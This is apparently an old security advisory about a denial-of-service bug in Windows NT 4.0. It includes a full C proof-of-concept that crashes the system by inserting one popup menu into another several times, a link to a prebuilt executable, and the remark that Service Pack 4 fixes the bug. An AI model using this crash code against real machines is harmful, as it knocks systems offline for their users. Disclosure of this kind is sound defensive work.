COMMAND

    ??? (DoS)

SYSTEMS AFFECTED

    Win NT 4.0

PROBLEM

    Ilya Filatov found following.  This small program reloads NT (but
    not win95).  Tested with SP4 RC also.


    #include <windows.h>

    int WINAPI WinMain(HINSTANCE hinstExe,
	       HINSTANCE hinstPrev, LPSTR lpszCmdLine,
    int nCmdShow)
    {
      HMENU hMenu = CreatePopupMenu();
      HMENU hMenu1 = CreatePopupMenu();
      AppendMenu(hMenu1,MF_STRING, 1, "1");
      AppendMenu(hMenu1,MF_STRING, 2, "2");
      AppendMenu(hMenu1,MF_STRING, 3, "3");
      InsertMenu(hMenu,1,MF_POPUP|MF_STRING,(UINT)hMenu1,"1");
      InsertMenu(hMenu,2,MF_POPUP|MF_STRING,(UINT)hMenu1,"2");
      InsertMenu(hMenu,3,MF_POPUP|MF_STRING,(UINT)hMenu1,"3");
      InsertMenu(hMenu,4,MF_POPUP|MF_STRING,(UINT)hMenu1,"4");
      InsertMenu(hMenu,5,MF_POPUP|MF_STRING,(UINT)hMenu1,"5");
      InsertMenu(hMenu,6,MF_POPUP|MF_STRING,(UINT)hMenu1,"6");
      return 0;
    }

    Exe-file you may find on:

        http://www.chat.ru/~fewsoft/bug.zip

SOLUTION

    The fix for this bug is in service pack 4, although it was not  in
    the last RC.